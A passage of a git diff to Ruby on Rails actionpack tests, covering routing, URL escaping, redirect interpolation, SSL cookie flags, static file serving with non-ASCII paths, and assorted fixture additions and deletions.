+        get '/', to: '/bar#index', as: 'root'
+      end
+    end
+
+    get '/foo'
+    assert_equal 'bar#index', @response.body
+    assert_equal '/foo', foo_root_path
+  end
+
+  def test_trailing_slash
+    draw do
+      resources :streams
+    end
+
+    get '/streams'
+    assert @response.ok?, 'route without trailing slash should work'
+
+    get '/streams/'
+    assert @response.ok?, 'route with trailing slash should work'
+
+    get '/streams?foobar'
+    assert @response.ok?, 'route without trailing slash and with QUERY_STRING should work'
+
+    get '/streams/?foobar'
+    assert @response.ok?, 'route with trailing slash and with QUERY_STRING should work'
+  end
+
+  def test_route_with_dashes_in_path
+    draw do
+      get '/contact-us', to: 'pages#contact_us'
+    end
+
+    get '/contact-us'
+    assert_equal 'pages#contact_us', @response.body
+    assert_equal '/contact-us', contact_us_path
+  end
+
+  def test_shorthand_route_with_dashes_in_path
+    draw do
+      get '/about-us/index'
+    end
+
+    get '/about-us/index'
+    assert_equal 'about_us#index', @response.body
+    assert_equal '/about-us/index', about_us_index_path
+  end
+
+  def test_resource_routes_with_dashes_in_path
+    draw do
+      resources :photos, only: [:show] do
+        get 'user-favorites', on: :collection
+        get 'preview-photo', on: :member
+        get 'summary-text'
+      end
+    end
+
+    get '/photos/user-favorites'
+    assert_equal 'photos#user_favorites', @response.body
+    assert_equal '/photos/user-favorites', user_favorites_photos_path
+
+    get '/photos/1/preview-photo'
+    assert_equal 'photos#preview_photo', @response.body
+    assert_equal '/photos/1/preview-photo', preview_photo_photo_path('1')
+
+    get '/photos/1/summary-text'
+    assert_equal 'photos#summary_text', @response.body
+    assert_equal '/photos/1/summary-text', photo_summary_text_path('1')
+
+    get '/photos/1'
+    assert_equal 'photos#show', @response.body
+    assert_equal '/photos/1', photo_path('1')
+  end
+
+  def test_shallow_path_inside_namespace_is_not_added_twice
+    draw do
+      namespace :admin do
+        shallow do
+          resources :posts do
+            resources :comments
+          end
+        end
+      end
+    end
+
+    get '/admin/posts/1/comments'
+    assert_equal 'admin/comments#index', @response.body
+    assert_equal '/admin/posts/1/comments', admin_post_comments_path('1')
+  end
+
+  def test_shallow_path_and_prefix_are_not_added_to_non_shallow_routes
+    draw do
+      scope shallow_path: 'projects', shallow_prefix: 'project' do
+        resources :projects do
+          resources :files, controller: 'project_files', shallow: true
+        end
+      end
+    end
+
+    get '/projects'
+    assert_equal 'projects#index', @response.body
+    assert_equal '/projects', projects_path
+
+    get '/projects/new'
+    assert_equal 'projects#new', @response.body
+    assert_equal '/projects/new', new_project_path
+
+    post '/projects'
+    assert_equal 'projects#create', @response.body
+
+    get '/projects/1'
+    assert_equal 'projects#show', @response.body
+    assert_equal '/projects/1', project_path('1')
+
+    get '/projects/1/edit'
+    assert_equal 'projects#edit', @response.body
+    assert_equal '/projects/1/edit', edit_project_path('1')
+
+    patch '/projects/1'
+    assert_equal 'projects#update', @response.body
+
+    delete '/projects/1'
+    assert_equal 'projects#destroy', @response.body
+
+    get '/projects/1/files'
+    assert_equal 'project_files#index', @response.body
+    assert_equal '/projects/1/files', project_files_path('1')
+
+    get '/projects/1/files/new'
+    assert_equal 'project_files#new', @response.body
+    assert_equal '/projects/1/files/new', new_project_file_path('1')
+
+    post '/projects/1/files'
+    assert_equal 'project_files#create', @response.body
+
+    get '/projects/files/2'
+    assert_equal 'project_files#show', @response.body
+    assert_equal '/projects/files/2', project_file_path('2')
+
+    get '/projects/files/2/edit'
+    assert_equal 'project_files#edit', @response.body
+    assert_equal '/projects/files/2/edit', edit_project_file_path('2')
+
+    patch '/projects/files/2'
+    assert_equal 'project_files#update', @response.body
+
+    delete '/projects/files/2'
+    assert_equal 'project_files#destroy', @response.body
+  end
+
+  def test_scope_path_is_copied_to_shallow_path
+    draw do
+      scope path: 'foo' do
+        resources :posts do
+          resources :comments, shallow: true
+        end
+      end
+    end
+
+    assert_equal '/foo/comments/1', comment_path('1')
+  end
+
+  def test_scope_as_is_copied_to_shallow_prefix
+    draw do
+      scope as: 'foo' do
+        resources :posts do
+          resources :comments, shallow: true
+        end
+      end
+    end
+
+    assert_equal '/comments/1', foo_comment_path('1')
+  end
+
+  def test_scope_shallow_prefix_is_not_overwritten_by_as
+    draw do
+      scope as: 'foo', shallow_prefix: 'bar' do
+        resources :posts do
+          resources :comments, shallow: true
+        end
+      end
+    end
+
+    assert_equal '/comments/1', bar_comment_path('1')
+  end
+
+  def test_scope_shallow_path_is_not_overwritten_by_path
+    draw do
+      scope path: 'foo', shallow_path: 'bar' do
+        resources :posts do
+          resources :comments, shallow: true
+        end
+      end
+    end
+
+    assert_equal '/bar/comments/1', comment_path('1')
+  end
+
 private
 
   def draw(&block)
@@ -3122,8 +3596,8 @@ class TestUriPathEscaping < ActionDispatch::IntegrationTest
   include Routes.url_helpers
   def app; Routes end
 
-  test 'escapes generated path segment' do
-    assert_equal '/a%20b/c+d', segment_path(:segment => 'a b/c+d')
+  test 'escapes slash in generated path segment' do
+    assert_equal '/a%20b%2Fc+d', segment_path(:segment => 'a b/c+d')
   end
 
   test 'unescapes recognized path segment' do
@@ -3131,7 +3605,7 @@ class TestUriPathEscaping < ActionDispatch::IntegrationTest
     assert_equal 'a b/c+d', @response.body
   end
 
-  test 'escapes generated path splat' do
+  test 'does not escape slash in generated path splat' do
     assert_equal '/a%20b/c+d', splat_path(:splat => 'a b/c+d')
   end
 
@@ -3222,7 +3696,9 @@ class TestRedirectInterpolation < ActionDispatch::IntegrationTest
 
       get "/foo/:id" => redirect("/foo/bar/%{id}")
       get "/bar/:id" => redirect(:path => "/foo/bar/%{id}")
+      get "/baz/:id" => redirect("/baz?id=%{id}&foo=?&bar=1#id-%{id}")
       get "/foo/bar/:id" => ok
+      get "/baz" => ok
     end
   end
 
@@ -3238,6 +3714,14 @@ class TestRedirectInterpolation < ActionDispatch::IntegrationTest
     verify_redirect "http://www.example.com/foo/bar/1%3E"
   end
 
+  test "path redirect escapes interpolated parameters correctly" do
+    get "/foo/1%201"
+    verify_redirect "http://www.example.com/foo/bar/1%201"
+
+    get "/baz/1%201"
+    verify_redirect "http://www.example.com/baz?id=1+1&foo=?&bar=1#id-1%201"
+  end
+
 private
   def verify_redirect(url, status=301)
     assert_equal status, @response.status
@@ -3304,6 +3788,10 @@ class TestOptimizedNamedRoutes < ActionDispatch::IntegrationTest
       ok = lambda { |env| [200, { 'Content-Type' => 'text/plain' }, []] }
       get '/foo' => ok, as: :foo
       get '/post(/:action(/:id))' => ok, as: :posts
+      get '/:foo/:foo_type/bars/:id' => ok, as: :bar
+      get '/projects/:id.:format' => ok, as: :project
+      get '/pages/:id' => ok, as: :page
+      get '/wiki/*page' => ok, as: :wiki
     end
   end
 
@@ -3326,6 +3814,36 @@ class TestOptimizedNamedRoutes < ActionDispatch::IntegrationTest
     assert_equal '/post', Routes.url_helpers.posts_path
     assert_equal '/post', posts_path
   end
+
+  test 'segments with same prefix are replaced correctly' do
+    assert_equal '/foo/baz/bars/1', Routes.url_helpers.bar_path('foo', 'baz', '1')
+    assert_equal '/foo/baz/bars/1', bar_path('foo', 'baz', '1')
+  end
+
+  test 'segments separated with a period are replaced correctly' do
+    assert_equal '/projects/1.json', Routes.url_helpers.project_path(1, :json)
+    assert_equal '/projects/1.json', project_path(1, :json)
+  end
+
+  test 'segments with question marks are escaped' do
+    assert_equal '/pages/foo%3Fbar', Routes.url_helpers.page_path('foo?bar')
+    assert_equal '/pages/foo%3Fbar', page_path('foo?bar')
+  end
+
+  test 'segments with slashes are escaped' do
+    assert_equal '/pages/foo%2Fbar', Routes.url_helpers.page_path('foo/bar')
+    assert_equal '/pages/foo%2Fbar', page_path('foo/bar')
+  end
+
+  test 'glob segments with question marks are escaped' do
+    assert_equal '/wiki/foo%3Fbar', Routes.url_helpers.wiki_path('foo?bar')
+    assert_equal '/wiki/foo%3Fbar', wiki_path('foo?bar')
+  end
+
+  test 'glob segments with slashes are not escaped' do
+    assert_equal '/wiki/foo/bar', Routes.url_helpers.wiki_path('foo/bar')
+    assert_equal '/wiki/foo/bar', wiki_path('foo/bar')
+  end
 end
 
 class TestNamedRouteUrlHelpers < ActionDispatch::IntegrationTest
@@ -3673,3 +4191,28 @@ class TestRedirectRouteGeneration < ActionDispatch::IntegrationTest
     end
   end
 end
+
+class TestUrlGenerationErrors < ActionDispatch::IntegrationTest
+  Routes = ActionDispatch::Routing::RouteSet.new.tap do |app|
+    app.draw do
+      get "/products/:id" => 'products#show', :as => :product
+    end
+  end
+
+  def app; Routes end
+
+  include Routes.url_helpers
+
+  test "url helpers raise a helpful error message whem generation fails" do
+    url, missing = { action: 'show', controller: 'products', id: nil }, [:id]
+    message = "No route matches #{url.inspect} missing required keys: #{missing.inspect}"
+
+    # Optimized url helper
+    error = assert_raises(ActionController::UrlGenerationError){ product_path(nil) }
+    assert_equal message, error.message
+
+    # Non-optimized url helper
+    error = assert_raises(ActionController::UrlGenerationError, message){ product_path(id: nil) }
+    assert_equal message, error.message
+  end
+end
diff --git a/actionpack/test/dispatch/ssl_test.rb b/actionpack/test/dispatch/ssl_test.rb
index 61b55f3..c3598c5 100644
--- a/actionpack/test/dispatch/ssl_test.rb
+++ b/actionpack/test/dispatch/ssl_test.rb
@@ -124,6 +124,35 @@ class SSLTest < ActionDispatch::IntegrationTest
       response.headers['Set-Cookie'].split("\n")
   end
 
+
+  def test_flag_cookies_as_secure_with_has_not_spaces_before
+    self.app = ActionDispatch::SSL.new(lambda { |env|
+      headers = {
+        'Content-Type' => "text/html",
+        'Set-Cookie' => "problem=def; path=/;secure; HttpOnly"
+      }
+      [200, headers, ["OK"]]
+    })
+
+    get "https://example.org/"
+    assert_equal ["problem=def; path=/;secure; HttpOnly"],
+      response.headers['Set-Cookie'].split("\n")
+  end
+
+  def test_flag_cookies_as_secure_with_has_not_spaces_after
+    self.app = ActionDispatch::SSL.new(lambda { |env|
+      headers = {
+        'Content-Type' => "text/html",
+        'Set-Cookie' => "problem=def; path=/; secure;HttpOnly"
+      }
+      [200, headers, ["OK"]]
+    })
+
+    get "https://example.org/"
+    assert_equal ["problem=def; path=/; secure;HttpOnly"],
+      response.headers['Set-Cookie'].split("\n")
+  end
+
   def test_flag_cookies_as_secure_with_ignore_case
     self.app = ActionDispatch::SSL.new(lambda { |env|
       headers = {
@@ -167,6 +196,13 @@ class SSLTest < ActionDispatch::IntegrationTest
       response.headers['Location']
   end
 
+  def test_redirect_to_host_with_port
+    self.app = ActionDispatch::SSL.new(default_app, :host => "ssl.example.org:443")
+    get "http://example.org/path?key=value"
+    assert_equal "https://ssl.example.org:443/path?key=value",
+      response.headers['Location']
+  end
+
   def test_redirect_to_secure_host_when_on_subdomain
     self.app = ActionDispatch::SSL.new(default_app, :host => "ssl.example.org")
     get "http://ssl.example.org/path?key=value"
diff --git a/actionpack/test/dispatch/static_test.rb b/actionpack/test/dispatch/static_test.rb
index 112f470..afdda70 100644
--- a/actionpack/test/dispatch/static_test.rb
+++ b/actionpack/test/dispatch/static_test.rb
@@ -37,6 +37,8 @@ module StaticTests
   end
 
   def test_served_static_file_with_non_english_filename
+    jruby_skip "Stop skipping if following bug gets fixed: " \
+      "http://jira.codehaus.org/browse/JRUBY-7192"
     assert_html "means hello in Japanese\n", get("/foo/#{Rack::Utils.escape("こんにちは.html")}")
   end
 
@@ -133,11 +135,16 @@ module StaticTests
     end
 
     def with_static_file(file)
-      path = "#{FIXTURE_LOAD_PATH}/public" + file
-      File.open(path, "wb+") { |f| f.write(file) }
+      path = "#{FIXTURE_LOAD_PATH}/#{public_path}" + file
+      begin
+        File.open(path, "wb+") { |f| f.write(file) }
+      rescue Errno::EPROTO
+        skip "Couldn't create a file #{path}"
+      end
+
       yield file
     ensure
-      File.delete(path)
+      File.delete(path) if File.exist? path
     end
 end
 
@@ -145,11 +152,24 @@ class StaticTest < ActiveSupport::TestCase
   DummyApp = lambda { |env|
     [200, {"Content-Type" => "text/plain"}, ["Hello, World!"]]
   }
-  App = ActionDispatch::Static.new(DummyApp, "#{FIXTURE_LOAD_PATH}/public", "public, max-age=60")
 
   def setup
-    @app = App
+    @app = ActionDispatch::Static.new(DummyApp, "#{FIXTURE_LOAD_PATH}/public", "public, max-age=60")
+  end
+
+  def public_path
+    "public"
   end
 
   include StaticTests
 end
+
+class StaticEncodingTest < StaticTest
+  def setup
+    @app = ActionDispatch::Static.new(DummyApp, "#{FIXTURE_LOAD_PATH}/公共", "public, max-age=60")
+  end
+
+  def public_path
+    "公共"
+  end
+end
diff --git a/actionpack/test/dispatch/url_generation_test.rb b/actionpack/test/dispatch/url_generation_test.rb
index f919592..a4dfd0a 100644
--- a/actionpack/test/dispatch/url_generation_test.rb
+++ b/actionpack/test/dispatch/url_generation_test.rb
@@ -15,6 +15,8 @@ module TestUrlGeneration
     Routes.draw do
       get "/foo", :to => "my_route_generating#index", :as => :foo
 
+      resources :bars
+
       mount MyRouteGeneratingController.action(:index), at: '/bar'
     end
 
@@ -64,18 +66,30 @@ module TestUrlGeneration
 
     test "port is extracted from the host" do
       assert_equal "http://www.example.com:8080/foo", foo_url(host: "www.example.com:8080", protocol: "http://")
+      assert_equal "//www.example.com:8080/foo", foo_url(host: "www.example.com:8080", protocol: "//")
+      assert_equal "//www.example.com:80/foo", foo_url(host: "www.example.com:80", protocol: "//")
+    end
+
+    test "port option is used" do
+      assert_equal "http://www.example.com:8080/foo", foo_url(host: "www.example.com", protocol: "http://", port: 8080)
+      assert_equal "//www.example.com:8080/foo", foo_url(host: "www.example.com", protocol: "//", port: 8080)
+      assert_equal "//www.example.com:80/foo", foo_url(host: "www.example.com", protocol: "//", port: 80)
     end
 
-    test "port option overides the host" do
+    test "port option overrides the host" do
       assert_equal "http://www.example.com:8080/foo", foo_url(host: "www.example.com:8443", protocol: "http://", port: 8080)
+      assert_equal "//www.example.com:8080/foo", foo_url(host: "www.example.com:8443", protocol: "//", port: 8080)
+      assert_equal "//www.example.com:80/foo", foo_url(host: "www.example.com:443", protocol: "//", port: 80)
     end
 
     test "port option disables the host when set to nil" do
       assert_equal "http://www.example.com/foo", foo_url(host: "www.example.com:8443", protocol: "http://", port: nil)
+      assert_equal "//www.example.com/foo", foo_url(host: "www.example.com:8443", protocol: "//", port: nil)
     end
 
     test "port option disables the host when set to false" do
       assert_equal "http://www.example.com/foo", foo_url(host: "www.example.com:8443", protocol: "http://", port: false)
+      assert_equal "//www.example.com/foo", foo_url(host: "www.example.com:8443", protocol: "//", port: false)
     end
 
     test "keep subdomain when key is true" do
@@ -97,6 +111,22 @@ module TestUrlGeneration
     test "omit subdomain when key is blank" do
       assert_equal "http://example.com/foo", foo_url(subdomain: "")
     end
+
+    test "generating URLs with trailing slashes" do
+      assert_equal "/bars.json", bars_path(
+        trailing_slash: true,
+        format: 'json'
+      )
+    end
+
+    test "generating URLS with querystring and trailing slashes" do
+      assert_equal "/bars.json?a=b", bars_path(
+        trailing_slash: true,
+        a: 'b',
+        format: 'json'
+      )
+    end
+
   end
 end
 
diff --git a/actionpack/test/fixtures/developer.rb b/actionpack/test/fixtures/developer.rb
deleted file mode 100644
index 4941463..0000000
--- a/actionpack/test/fixtures/developer.rb
+++ /dev/null
@@ -1,10 +0,0 @@
-class Developer < ActiveRecord::Base
-  has_and_belongs_to_many :projects
-  has_many :replies
-  has_many :topics, :through => :replies
-  accepts_nested_attributes_for :projects
-end
-
-class DeVeLoPeR < ActiveRecord::Base
-  self.table_name = "developers"
-end
diff --git a/actionpack/test/fixtures/digestor/messages/show.html.erb b/actionpack/test/fixtures/digestor/messages/show.html.erb
deleted file mode 100644
index 130e671..0000000
--- a/actionpack/test/fixtures/digestor/messages/show.html.erb
+++ /dev/null
@@ -1,14 +0,0 @@
-<%# Template Dependency: messages/message %>
-<%= render "header" %>
-<%= render "comments/comments" %>
-
-<%= render "messages/actions/move" %>
-
-<%= render @message.history.events %>
-
-<%# render "something_missing"  %>
-<%# render "something_missing_1"  %>
-
-<%
-  # Template Dependency: messages/form
-%>
diff --git a/actionpack/test/fixtures/functional_caching/formatted_fragment_cached_with_variant.html+phone.erb b/actionpack/test/fixtures/functional_caching/formatted_fragment_cached_with_variant.html+phone.erb
new file mode 100644
index 0000000..e523b74
--- /dev/null
+++ b/actionpack/test/fixtures/functional_caching/formatted_fragment_cached_with_variant.html+phone.erb
@@ -0,0 +1,3 @@
+<body>
+<%= cache do %><p>PHONE</p><% end %>
+</body>
diff --git a/actionpack/test/fixtures/helpers/abc_helper.rb b/actionpack/test/fixtures/helpers/abc_helper.rb
index 7104ff3..cf2774b 100644
--- a/actionpack/test/fixtures/helpers/abc_helper.rb
+++ b/actionpack/test/fixtures/helpers/abc_helper.rb
@@ -1,5 +1,3 @@
 module AbcHelper
   def bare_a() end
-  def bare_b() end
-  def bare_c() end
 end
diff --git a/actionpack/test/fixtures/layout_tests/layouts/symlinked b/actionpack/test/fixtures/layout_tests/layouts/symlinked
deleted file mode 120000
index 0ddc115..0000000
--- a/actionpack/test/fixtures/layout_tests/layouts/symlinked
+++ /dev/null
@@ -1 +0,0 @@
-../../symlink_parent
\ No newline at end of file
diff --git a/actionpack/test/fixtures/localized/hello_world.it.erb b/actionpack/test/fixtures/localized/hello_world.it.erb
new file mode 100644
index 0000000..9191fdc
--- /dev/null
+++ b/actionpack/test/fixtures/localized/hello_world.it.erb
@@ -0,0 +1 @@
+Ciao Mondo
\ No newline at end of file
diff --git a/actionpack/test/fixtures/multipart/mona_lisa.jpg b/actionpack/test/fixtures/multipart/mona_lisa.jpg
new file mode 100644
index 0000000..5cf3bef
Binary files /dev/null and b/actionpack/test/fixtures/multipart/mona_lisa.jpg differ
diff --git a/actionpack/test/fixtures/respond_to/variant_any_implicit_render.html+phablet.erb b/actionpack/test/fixtures/respond_to/variant_any_implicit_render.html+phablet.erb
new file mode 100644
index 0000000..e905d05
--- /dev/null
+++ b/actionpack/test/fixtures/respond_to/variant_any_implicit_render.html+phablet.erb
@@ -0,0 +1 @@
+phablet
\ No newline at end of file
diff --git a/actionpack/test/fixtures/respond_to/variant_any_implicit_render.html+tablet.erb b/actionpack/test/fixtures/respond_to/variant_any_implicit_render.html+tablet.erb
new file mode 100644
index 0000000..65526af
--- /dev/null
+++ b/actionpack/test/fixtures/respond_to/variant_any_implicit_render.html+tablet.erb
@@ -0,0 +1 @@
+tablet
\ No newline at end of file
diff --git a/actionpack/test/fixtures/respond_to/variant_inline_syntax_without_block.html+phone.erb b/actionpack/test/fixtures/respond_to/variant_inline_syntax_without_block.html+phone.erb
new file mode 100644
index 0000000..cd222a4
--- /dev/null
+++ b/actionpack/test/fixtures/respond_to/variant_inline_syntax_without_block.html+phone.erb
@@ -0,0 +1 @@
+phone
\ No newline at end of file
diff --git a/actionpack/test/fixtures/respond_to/variant_plus_none_for_format.html.erb b/actionpack/test/fixtures/respond_to/variant_plus_none_for_format.html.erb
new file mode 100644
index 0000000..c86c3f3
--- /dev/null
+++ b/actionpack/test/fixtures/respond_to/variant_plus_none_for_format.html.erb
@@ -0,0 +1 @@
+none
\ No newline at end of file
diff --git a/actionpack/test/fixtures/respond_to/variant_with_implicit_rendering.html+mobile.erb b/actionpack/test/fixtures/respond_to/variant_with_implicit_rendering.html+mobile.erb
new file mode 100644
index 0000000..317801a
--- /dev/null
+++ b/actionpack/test/fixtures/respond_to/variant_with_implicit_rendering.html+mobile.erb
@@ -0,0 +1 @@
+mobile
\ No newline at end of file
diff --git a/actionpack/test/fixtures/digestor/events/_event.html.erb b/actionpack/test/fixtures/respond_with/respond_with_additional_params.html.erb
similarity index 100%
copy from actionpack/test/fixtures/digestor/events/_event.html.erb
copy to actionpack/test/fixtures/respond_with/respond_with_additional_params.html.erb
diff --git "a/actionpack/test/fixtures/\345\205\254\345\205\261/foo/bar.html" "b/actionpack/test/fixtures/\345\205\254\345\205\261/foo/bar.html"
new file mode 100644
index 0000000..9a35646
--- /dev/null
+++ "b/actionpack/test/fixtures/\345\205\254\345\205\261/foo/bar.html"
@@ -0,0 +1 @@
+/foo/bar.html
\ No newline at end of file
diff --git "a/actionpack/test/fixtures/\345\205\254\345\205\261/foo/baz.css" "b/actionpack/test/fixtures/\345\205\254\345\205\261/foo/baz.css"
new file mode 100644
index 0000000..b5173fb
--- /dev/null
+++ "b/actionpack/test/fixtures/\345\205\254\345\205\261/foo/baz.css"
@@ -0,0 +1,3 @@
+body {
+background: #000;
+}
diff --git "a/actionpack/test/fixtures/\345\205\254\345\205\261/foo/index.html" "b/actionpack/test/fixtures/\345\205\254\345\205\261/foo/index.html"
new file mode 100644
index 0000000..497a2e8
--- /dev/null
+++ "b/actionpack/test/fixtures/\345\205\254\345\205\261/foo/index.html"
@@ -0,0 +1 @@
+/foo/index.html
\ No newline at end of file
diff --git "a/actionpack/test/fixtures/\345\205\254\345\205\261/foo/\343\201\223\343\202\223\343\201\253\343\201\241\343\201\257.html" "b/actionpack/test/fixtures/\345\205\254\345\205\261/foo/\343\201\223\343\202\223\343\201\253\343\201\241\343\201\257.html"
new file mode 100644
index 0000000..1df9166
--- /dev/null
+++ "b/actionpack/test/fixtures/\345\205\254\345\205\261/foo/\343\201\223\343\202\223\343\201\253\343\201\241\343\201\257.html"
@@ -0,0 +1 @@
+means hello in Japanese
diff --git "a/actionpack/test/fixtures/\345\205\254\345\205\261/index.html" "b/actionpack/test/fixtures/\345\205\254\345\205\261/index.html"
new file mode 100644
index 0000000..525950b
--- /dev/null
+++ "b/actionpack/test/fixtures/\345\205\254\345\205\261/index.html"
@@ -0,0 +1 @@
+/index.html
\ No newline at end of file
diff --git a/actionpack/test/journey/gtg/transition_table_test.rb b/actionpack/test/journey/gtg/transition_table_test.rb
index 33acba8..b968780 100644
--- a/actionpack/test/journey/gtg/transition_table_test.rb
+++ b/actionpack/test/journey/gtg/transition_table_test.rb
@@ -1,5 +1,5 @@
 require 'abstract_unit'
-require 'json'
+require 'active_support/json/decoding'
 
 module ActionDispatch
   module Journey
@@ -13,7 +13,7 @@ module ActionDispatch
             /articles/:id(.:format)
           }
 
-          json = JSON.load table.to_json
+          json = ActiveSupport::JSON.decode table.to_json
           assert json['regexp_states']
           assert json['string_states']
           assert json['accepting']
diff --git a/actionpack/test/journey/router/utils_test.rb b/actionpack/test/journey/router/utils_test.rb
index 93348f4..584fd56 100644
--- a/actionpack/test/journey/router/utils_test.rb
+++ b/actionpack/test/journey/router/utils_test.rb
@@ -5,11 +5,15 @@ module ActionDispatch
     class Router
       class TestUtils < ActiveSupport::TestCase
         def test_path_escape
-          assert_equal "a/b%20c+d", Utils.escape_path("a/b c+d")
+          assert_equal "a/b%20c+d%25", Utils.escape_path("a/b c+d%")
+        end
+
+        def test_segment_escape
+          assert_equal "a%2Fb%20c+d%25", Utils.escape_segment("a/b c+d%")
         end
 
         def test_fragment_escape
-          assert_equal "a/b%20c+d?e", Utils.escape_fragment("a/b c+d?e")
+          assert_equal "a/b%20c+d%25?e", Utils.escape_fragment("a/b c+d%?e")
         end
 
         def test_uri_unescape
diff --git a/actionpack/test/journey/router_test.rb b/actionpack/test/journey/router_test.rb
index a286f77..e54b64e 100644
--- a/actionpack/test/journey/router_test.rb
+++ b/actionpack/test/journey/router_test.rb
@@ -367,7 +367,18 @@ module ActionDispatch
           nil, { :controller        => "tasks",
                  :action            => "a/b c+d",
         }, {})
-        assert_equal '/tasks/a/b%20c+d', path
+        assert_equal '/tasks/a%2Fb%20c+d', path
+      end
+
+      def test_generate_escapes_with_namespaced_controller
+        path  = Path::Pattern.new '/:controller(/:action)'
+        @router.routes.add_route @app, path, {}, {}, {}
+
+        path, _ = @formatter.generate(:path_info,
+          nil, { :controller        => "admin/tasks",
+                 :action            => "a/b c+d",
+        }, {})
+        assert_equal '/admin/tasks/a%2Fb%20c+d', path
       end
 
       def test_generate_extra_params
diff --git a/actionpack/test/lib/controller/fake_models.rb b/actionpack/test/lib/controller/fake_models.rb
index 82f38b5..b8b51d8 100644
--- a/actionpack/test/lib/controller/fake_models.rb
+++ b/actionpack/test/lib/controller/fake_models.rb
@@ -28,12 +28,6 @@ class Customer < Struct.new(:name, :id)
   end
 end
 
-class BadCustomer < Customer
-end
-
-class GoodCustomer < Customer
-end
-
 class ValidatedCustomer < Customer
   def errors
     if name =~ /Sikachu/i
@@ -102,88 +96,6 @@ class Comment
   attr_accessor :body
 end
 
-class Tag
-  extend ActiveModel::Naming
-  include ActiveModel::Conversion
-
-  attr_reader :id
-  attr_reader :post_id
-  def initialize(id = nil, post_id = nil); @id, @post_id = id, post_id end
-  def to_key; id ? [id] : nil end
-  def save; @id = 1; @post_id = 1 end
-  def persisted?; @id.present? end
-  def to_param; @id; end
-  def value
-    @id.nil? ? "new #{self.class.name.downcase}" : "#{self.class.name.downcase} ##{@id}"
-  end
-
-  attr_accessor :relevances
-  def relevances_attributes=(attributes); end
-
-end
-
-class CommentRelevance
-  extend ActiveModel::Naming
-  include ActiveModel::Conversion
-
-  attr_reader :id
-  attr_reader :comment_id
-  def initialize(id = nil, comment_id = nil); @id, @comment_id = id, comment_id end
-  def to_key; id ? [id] : nil end
-  def save; @id = 1; @comment_id = 1 end
-  def persisted?; @id.present? end
-  def to_param; @id; end
-  def value
-    @id.nil? ? "new #{self.class.name.downcase}" : "#{self.class.name.downcase} ##{@id}"
-  end
-end
-
-class Sheep
-  extend ActiveModel::Naming
-  include ActiveModel::Conversion
-
-  attr_reader :id
-  def to_key; id ? [id] : nil end
-  def save; @id = 1 end
-  def new_record?; @id.nil? end
-  def name
-    @id.nil? ? 'new sheep' : "sheep ##{@id}"
-  end
-end
-
-
-class TagRelevance
-  extend ActiveModel::Naming
-  include ActiveModel::Conversion
-
-  attr_reader :id
-  attr_reader :tag_id
-  def initialize(id = nil, tag_id = nil); @id, @tag_id = id, tag_id end
-  def to_key; id ? [id] : nil end
-  def save; @id = 1; @tag_id = 1 end
-  def persisted?; @id.present? end
-  def to_param; @id; end
-  def value
-    @id.nil? ? "new #{self.class.name.downcase}" : "#{self.class.name.downcase} ##{@id}"
-  end
-end
-
-class Author < Comment
-  attr_accessor :post
-  def post_attributes=(attributes); end
-end
-
-class HashBackedAuthor < Hash
-  extend ActiveModel::Naming
-  include ActiveModel::Conversion
-
-  def persisted?; false; end
-
-  def name
-    "hash backed author"
-  end
-end
-
 module Blog
   def self.use_relative_model_naming?
     true
@@ -199,21 +111,8 @@ module Blog
   end
 end
 
-class ArelLike
-  def to_ary
-    true
-  end
-  def each
-    a = Array.new(2) { |id| Comment.new(id + 1) }
-    a.each { |i| yield i }
-  end
-end
-
 class RenderJsonTestException < Exception
-  def to_json(options = nil)
-    return { :error => self.class.name, :message => self.to_s }.to_json
+  def as_json(options = nil)
+    { :error => self.class.name, :message => self.to_s }
   end
 end
-
-class Car < Struct.new(:color)
-end
diff --git a/actionpack/test/template/asset_tag_helper_test.rb b/actionpack/test/template/asset_tag_helper_test.rb
deleted file mode 100644
index 2bf96cb..0000000
--- a/actionpack/test/template/asset_tag_helper_test.rb
+++ /dev/null
@@ -1,760 +0,0 @@
-require 'zlib'
-require 'abstract_unit'
-require 'active_support/ordered_options'
-
-class FakeController
-  attr_accessor :request
-
-  def config
-    @config ||= ActiveSupport::InheritableOptions.new(ActionController::Base.config)
-  end
-end
-
-class AssetTagHelperTest < ActionView::TestCase
-  tests ActionView::Helpers::AssetTagHelper
-
-  attr_reader :request
-
-  def setup
-    super
-
-    @controller = BasicController.new
-
-    @request = Class.new do
-      attr_accessor :script_name
-      def protocol() 'http://' end
-      def ssl?() false end
-      def host_with_port() 'localhost' end
-      def base_url() 'http://www.example.com' end
-    end.new
-
-    @controller.request = @request
-  end
-
-  def url_for(*args)
-    "http://www.example.com"
-  end
-
-  AssetPathToTag = {
-    %(asset_path("foo"))          => %(/foo),
-    %(asset_path("style.css"))    => %(/style.css),
-    %(asset_path("xmlhr.js"))     => %(/xmlhr.js),
-    %(asset_path("xml.png"))      => %(/xml.png),
-    %(asset_path("dir/xml.png"))  => %(/dir/xml.png),
-    %(asset_path("/dir/xml.png")) => %(/dir/xml.png),
-
-    %(asset_path("script.min"))       => %(/script.min),
-    %(asset_path("script.min.js"))    => %(/script.min.js),
-    %(asset_path("style.min"))        => %(/style.min),
-    %(asset_path("style.min.css"))    => %(/style.min.css),
-
-    %(asset_path("http://www.outside.com/image.jpg")) => %(http://www.outside.com/image.jpg),
-    %(asset_path("HTTP://www.outside.com/image.jpg")) => %(HTTP://www.outside.com/image.jpg),
-
-    %(asset_path("style", type: :stylesheet)) => %(/stylesheets/style.css),
-    %(asset_path("xmlhr", type: :javascript)) => %(/javascripts/xmlhr.js),
-    %(asset_path("xml.png", type: :image))    => %(/images/xml.png)
-  }
-
-  AutoDiscoveryToTag = {
-    %(auto_discovery_link_tag) => %(<link href="http://www.example.com" rel="alternate" title="RSS" type="application/rss+xml" />),
-    %(auto_discovery_link_tag(:rss)) => %(<link href="http://www.example.com" rel="alternate" title="RSS" type="application/rss+xml" />),
-    %(auto_discovery_link_tag(:atom)) => %(<link href="http://www.example.com" rel="alternate" title="ATOM" type="application/atom+xml" />),
-    %(auto_discovery_link_tag(:rss, :action => "feed")) => %(<link href="http://www.example.com" rel="alternate" title="RSS" type="application/rss+xml" />),
-    %(auto_discovery_link_tag(:rss, "http://localhost/feed")) => %(<link href="http://localhost/feed" rel="alternate" title="RSS" type="application/rss+xml" />),
-    %(auto_discovery_link_tag(:rss, "//localhost/feed")) => %(<link href="//localhost/feed" rel="alternate" title="RSS" type="application/rss+xml" />),
-    %(auto_discovery_link_tag(:rss, {:action => "feed"}, {:title => "My RSS"})) => %(<link href="http://www.example.com" rel="alternate" title="My RSS" type="application/rss+xml" />),
